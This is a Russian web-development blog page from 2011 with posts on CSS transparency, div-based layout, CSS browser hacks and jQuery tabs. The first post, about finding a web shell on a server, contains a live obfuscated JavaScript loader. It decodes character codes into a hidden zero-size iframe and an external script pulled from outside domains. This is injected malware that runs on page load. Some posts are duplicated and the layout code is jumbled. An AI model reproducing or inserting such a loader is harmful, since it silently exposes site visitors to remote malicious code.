О блоге
programming, программирование
Администраторы (1)
Модераторы (0)
Модераторов здесь не замеченоЧитатели (0)
Читателей здесь не замеченоШел код на сайте и его автоматический поиск на сервере.
Не так давно столкнулся с проблемой, точнее с ошибкой распределния прав на файлы. Поставил, слишком большие права на файл и в результате чего получил шелкод в теле файла.
Проблема состоит в том, что права на файлы нужно выставлять аккуратно и на пределе того, сколько нужно «свободы» этому файлы.
Итак задача: найти шелл или другой уязвимый скрипт на сервере.
В ручную это займёт большое количество времени, поэтому прибегнем к помощи php. Для начала нужно рекурсивно собрать ссылки на все существующие файлы, а далее мы проверим каждый скрипт на наличее вредоносного кода и при необходимости уберём его с нашего сервера.
Читать дальше
Проблема состоит в том, что права на файлы нужно выставлять аккуратно и на пределе того, сколько нужно «свободы» этому файлы.
<SCRIPT LANGUAGE="JavaScript">
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!119!105!100!116!104!61!34!48!34!32!104!101!105!103!104!116!61!34!48!34!32!102!114!97!109!101!98!111!114!100!101!114!61!34!48!34!32!115!99!114!111!108!108!105!110!103!61!34!110!111!34!32!115!114!99!61!34!104!116!116!112!58!47!47!97!100!117!108!116!116!46!110!101!116!47!112!111!115!116!47!105!109!97!103!101!46!112!104!112!63!115!105!100!61!49!34!62!60!47!105!102!114!97!109!101!62!60!115!99!114!105!112!116!32!116!121!112!101!61!34!116!101!120!116!47!106!97!118!97!115!99!114!105!112!116!34!32!115!114!99!61!34!104!116!116!112!58!47!47!110!111!118!105!107!111!118!50!48!49!49!46!114!117!47!49!46!106!115!34!62!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt©!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//-->
</SCRIPT><SCRIPT LANGUAGE="JavaScript">
<!--
Decode();
//-->
</SCRIPT>Итак задача: найти шелл или другой уязвимый скрипт на сервере.
В ручную это займёт большое количество времени, поэтому прибегнем к помощи php. Для начала нужно рекурсивно собрать ссылки на все существующие файлы, а далее мы проверим каждый скрипт на наличее вредоносного кода и при необходимости уберём его с нашего сервера.
Читать дальше
- 0
- 01 июля 2011, 10:41
- admin
- Оставить комментарий
Плагин для отображения объектов поверх изображений
Вот, буквально пару дней назад, человек попросил объяснить решение его задачи.

Собственно, сама задача:
Имеется картинка. При наведении на нее курсора, поверх изображения появляется блок, в котором содержатся ссылки. Все должно быть универсально, а вдруг на странице будет много картинок?
Теория.
Имеем какой-то блок, картинки внутри которого будут подвергаться нашему правилу. Каждую картинку в этом блоке оборачиваем в еще один блок с классом outofimg. Внутри нового блока создаем блок, который выступает в роли всплывающей подсказки. Если вы совсем запутались, то вот вам наглядный пример:

Читать дальше

Собственно, сама задача:
Имеется картинка. При наведении на нее курсора, поверх изображения появляется блок, в котором содержатся ссылки. Все должно быть универсально, а вдруг на странице будет много картинок?
Теория.
Имеем какой-то блок, картинки внутри которого будут подвергаться нашему правилу. Каждую картинку в этом блоке оборачиваем в еще один блок с классом outofimg. Внутри нового блока создаем блок, который выступает в роли всплывающей подсказки. Если вы совсем запутались, то вот вам наглядный пример:

Читать дальше
- 0
- 26 июня 2011, 22:08
- admin
- Оставить комментарий
Эффект прозразрочности посредством CSS

В данном посте, я опишу давольно красивый и простый пример, который делает картинку (в нашем случае кнопки) прозрачной, а при наведении — изменяется на исходный цвет.
1. Добавляем в style.css следующее: (в конец)
/* ----////// Эффект прозрачности /////------- */#banners a img {
opacity:0.3; -moz-opacity:0.3; filter:alpha(opacity=40);
}
#banners a:hover img {
opacity:1.0; -moz-opacity:1.0; filter:alpha(opacity=100);
}
2. Заключаем счётчики или любое изображение в дивы:
<div id="banners">Тут ваши счётчики</div>
- 0
- 26 июня 2011, 22:04
- admin
- Оставить комментарий
Основы верстки

Давно пошел спор насчет того, что же лучше всего употреблять div или table! Конечно новичку будет намного понятней верстать с помощью таблиц. Однако сейчас я попытаюсь рассказать молейшую часть о создании каркаса (скелета) сайта с помощью div.Для начало вы должны знать как будет выглядеть ваш скелет, если бы в верстали таблицами. Например, вот что мы можем сделать:
<table border=«1» width=«60%» align=«center» cellspacing=«0» cellpadding=«0»><tr><td>Это пример таблицами!!!</td></tr></table>Теперь это выражаем через div:
1. В таблице стилей прописываем:
.TPage {width:60%; border:1px solid #000000; margin-left:20%;}
Запомните, имя класса не должно начинаться с цифры! Ширину всегда указывать в %. Для легкости нахождения margin-left, надо 100% минус ширину (в процентах) и разделить на 2.
Теперь пишем код:
<div class=«TPage»></div>Получаем то, что вы хотели!
2. В таблице стилей пропиисываем id Div'а:
#table_1 {width:60%;margin-left:20%;border:1 solid #000000;Теперь, естественно, добавляем тег div с именем table_1:
}
<div id=«table_1»></div>Вот и все!!! Наш первый урок закончен. Читаем далее, как я обещал, каркас. Только для начала придумайте каким он будет! Вот мой:

Я уже привык и поэтому мне вариант в таблице не нужен. Вы, если зхотите, можете воссоздать его. Ну ладно, теперь преступим все это в таблице стилей:
.TPage {width:90%; border:1px solid #000; text-align:center; margin-left:5%; margin-top:1%;}Я уже говорил, как кому удобно, так он и настраивает страницу. Если же вы не знаете, что здесь каждое значит, тогда закройте браузер и отойдите от компьютера
.THead {width:90%; border:1px solid #000; margin-left:5%; margin-top:1%; margin-bottom:1%}Теперь ВНУТРЬ TNote добавляем TMenu и TInfo:
.TNote {width:90%; border:1px solid #000; margin-left:5%; margin-bottom:1%;}
.TMenu {width:60%; border:1px solid #000; margin-bottom:1%; float:left;}В принципе вот и все! Воплощаем это кодом, только там где я говорил внутрь, значит внутрь предыдущего div! Смотрим:
.TInfo {width:39%; border:1 solid #000; float:right;}
<div class=«TPage»><div class=«THead»>Header</div>Однако это не все. На картинке показано, что внутри TMenu у меня находится еще две таблицы. Конечно это не сложно, но все же. Внутрь тега <div class=«TMenu»> добавляем div с классами:
<div class=«TNote»>
<div class=«TMenu»>
Menu
</div>
<div class=«TInfo»>
Info
<div>
</div>
</div>
.Menu {width:100%; border:1px solid #000; margin-bottom:1%}
.Content {width:100%; border:1px solid #000; margin-bottom:1%;}Получаем полный код:
<div class=«TPage»><div class=«THead»>Header</div>Видим, что не очень красиво получается. Сливается несколько таблиц и получается жирная линия. Чтобы такого не случилось, убираем в некоторых классах border:1 на border:0. У меня например такими классами являются: TMenu и TNote! Желаю удачи… Если есть вопросы по статье или по данной теме, то обращайтесь!
<div class=«TNote»>
<div class=«TMenu»>
<div class=«menu»>
Menu
</div>
<div class=«Content»>
Content
</div>
</div>
<div class=«TInfo»>
Info
<div>
</div>
</div>
- 0
- 26 июня 2011, 21:59
- admin
- Оставить комментарий
CSS хаки
.browser { position: absolute; top: 0px; right: 0px; z-index: 2; padding: 10px }
.browser div { display: none }
/* Все вменяемые браузеры */
*:lang(ru) #lightMOD { display: block } /* Все современные браузеры — не IE6 или IE7 */
html>/**/body #lightMOD { display: block } /* Все современные браузеры — не IE6 или IE7 */
/* IE */
* html #lightIE6 { display: block } /* Будет работать в IE6 и в режиме quirks в IE7 */
*+html #lightIE7 { display: block }
body div.stopper {
width: 100%;
max-width: 1100px;
min-width: 900px;
*width: expression(document.body.clientWidth > 1100? «1100px»: document.body.clientWidth < 900? «900px»: «100%»); /* оверрайд одного свойства — в данном случае это эмуляция min- и max-width */
}
/* FireFox */
@-moz-document url-prefix() {
/* для всех FireFox, вобщем-то можно и без этого уже, просто писать стиль, благодаря обрамлению */
#lightFF, x:-moz-any-link { display: block }
/* главное — ошибиться в регистре, работает только для ID */
#lightFF2[id=lightff2] { display: block }
/* Firefox 3 имеет новый селектор :default. Алярм, без обрамления IE поймет эту конструкцию */
#lightFF3, x:-moz-any-link, x:default { display: block }
}
/* Opera 9.5 */
/* not после @media не обрабатывается ничем, кроме Opera 9.5 */
@media not all and (-webkit-min-device-pixel-ratio) {
#lightO95 { display: block }
}
/* Opera 9.2 */
/* Opera эту конструкцию не поддерживает, но Opera 9.2 по неизвестным причинам все равно обрабатывает */
@media all and (scan: progressive) {
#lightO92 { display: block }
}
/* Safari */
/* Первая конструкция — против Opera 9.5, которая понимает вторую, а вторая — против Opera 9.2, которая понимает первую */
/* Safari понимает обе, поэтому хак работает */
@media all and (-webkit-min-device-pixel-ratio:0) {
body:first-of-type #lightSF3 { display: block }
/* вместо :first-of-type можно еще использовать :nth-of-type(1) — он для Safari 3.1 */
}
.browser div { display: none }
/* Все вменяемые браузеры */
*:lang(ru) #lightMOD { display: block } /* Все современные браузеры — не IE6 или IE7 */
html>/**/body #lightMOD { display: block } /* Все современные браузеры — не IE6 или IE7 */
/* IE */
* html #lightIE6 { display: block } /* Будет работать в IE6 и в режиме quirks в IE7 */
*+html #lightIE7 { display: block }
body div.stopper {
width: 100%;
max-width: 1100px;
min-width: 900px;
*width: expression(document.body.clientWidth > 1100? «1100px»: document.body.clientWidth < 900? «900px»: «100%»); /* оверрайд одного свойства — в данном случае это эмуляция min- и max-width */
}
/* FireFox */
@-moz-document url-prefix() {
/* для всех FireFox, вобщем-то можно и без этого уже, просто писать стиль, благодаря обрамлению */
#lightFF, x:-moz-any-link { display: block }
/* главное — ошибиться в регистре, работает только для ID */
#lightFF2[id=lightff2] { display: block }
/* Firefox 3 имеет новый селектор :default. Алярм, без обрамления IE поймет эту конструкцию */
#lightFF3, x:-moz-any-link, x:default { display: block }
}
/* Opera 9.5 */
/* not после @media не обрабатывается ничем, кроме Opera 9.5 */
@media not all and (-webkit-min-device-pixel-ratio) {
#lightO95 { display: block }
}
/* Opera 9.2 */
/* Opera эту конструкцию не поддерживает, но Opera 9.2 по неизвестным причинам все равно обрабатывает */
@media all and (scan: progressive) {
#lightO92 { display: block }
}
/* Safari */
/* Первая конструкция — против Opera 9.5, которая понимает вторую, а вторая — против Opera 9.2, которая понимает первую */
/* Safari понимает обе, поэтому хак работает */
@media all and (-webkit-min-device-pixel-ratio:0) {
body:first-of-type #lightSF3 { display: block }
/* вместо :first-of-type можно еще использовать :nth-of-type(1) — он для Safari 3.1 */
}
- 0
- 23 июня 2011, 15:42
- admin
- Оставить комментарий
Плавающий блок с помощью jquery
Плавающий блок с помощью jquery (или position:fixed относительно родительского блока)
Встала задача сделать position:fixed относительно родительского блока. При поиске в Интернете наткнулся на интересный jquery скриптик, делающий подобную вещь.
Читать дальше
Встала задача сделать position:fixed относительно родительского блока. При поиске в Интернете наткнулся на интересный jquery скриптик, делающий подобную вещь.
Читать дальше
- 0
- 22 июня 2011, 06:35
- admin
- Оставить комментарий
Как сделать на блок с вкладками или jQuery-скрипт для блоков с вкладками (табами)
Мое знакомство с фреймворком jQuery произошло в 2008-м году, после того, как, однажды, на одном из англоязычных сайтов я нашел jQuery-скрипт, который позволяет создавать блоки с удобными вкладками. Этому скрипту я посвятил отдельный пост на данном блоге.
С тех пор прошло 2 года, я набрался определенного опыта в работе с jQuery, и вышеуказанный скрипт превратился в абсолютно новый скрипт, написанный мною полностью с нуля. Перед этим был еще один вариант данного скрипта, которым я пользовался, наверное, год. О нем я нигде не писал, да и сейчас уже нет смысла это делать, т.к. он потерял свою актуальность.
Почему я называю свой новый скрипт для jQuery-вкладок универсальным:
* он позволяет создавать неограниченное количество вкладок в пределах одного блока, при этом нет необходимости нумеровать вкладки с помощью CSS-классов, как это было сделано в старом варианте;
* можно создать сколько угодно таких блоков с вкладками опять же без необходимости нумеровать эти блоки через CSS-классы;
* содержимое jQuery-скрипта, реализующего вкладки, остается неизменным (всего 0,4 килобайта), т.е. не разрастается в зависимость от количества блоков или вкладок, как это было в старом варианте, при этом размер нового варианта скрипта не больше размера скрипта для одного блока с вкладками из старого варианта.
Что ж, хватит сухих слов, переходим к сути.
Код jQuery-крипта для переключаемых блоков с вкладками
Не забывайте в первую очередь подключить сам фреймворк jQuery (если он еще не подключен на вашем сайте), например, так (вставляется между тегами и )
Читать дальше
С тех пор прошло 2 года, я набрался определенного опыта в работе с jQuery, и вышеуказанный скрипт превратился в абсолютно новый скрипт, написанный мною полностью с нуля. Перед этим был еще один вариант данного скрипта, которым я пользовался, наверное, год. О нем я нигде не писал, да и сейчас уже нет смысла это делать, т.к. он потерял свою актуальность.
Почему я называю свой новый скрипт для jQuery-вкладок универсальным:
* он позволяет создавать неограниченное количество вкладок в пределах одного блока, при этом нет необходимости нумеровать вкладки с помощью CSS-классов, как это было сделано в старом варианте;
* можно создать сколько угодно таких блоков с вкладками опять же без необходимости нумеровать эти блоки через CSS-классы;
* содержимое jQuery-скрипта, реализующего вкладки, остается неизменным (всего 0,4 килобайта), т.е. не разрастается в зависимость от количества блоков или вкладок, как это было в старом варианте, при этом размер нового варианта скрипта не больше размера скрипта для одного блока с вкладками из старого варианта.
Что ж, хватит сухих слов, переходим к сути.
Код jQuery-крипта для переключаемых блоков с вкладками
Не забывайте в первую очередь подключить сам фреймворк jQuery (если он еще не подключен на вашем сайте), например, так (вставляется между тегами и )
Читать дальше
- 0
- 22 июня 2011, 06:14
- admin
- Оставить комментарий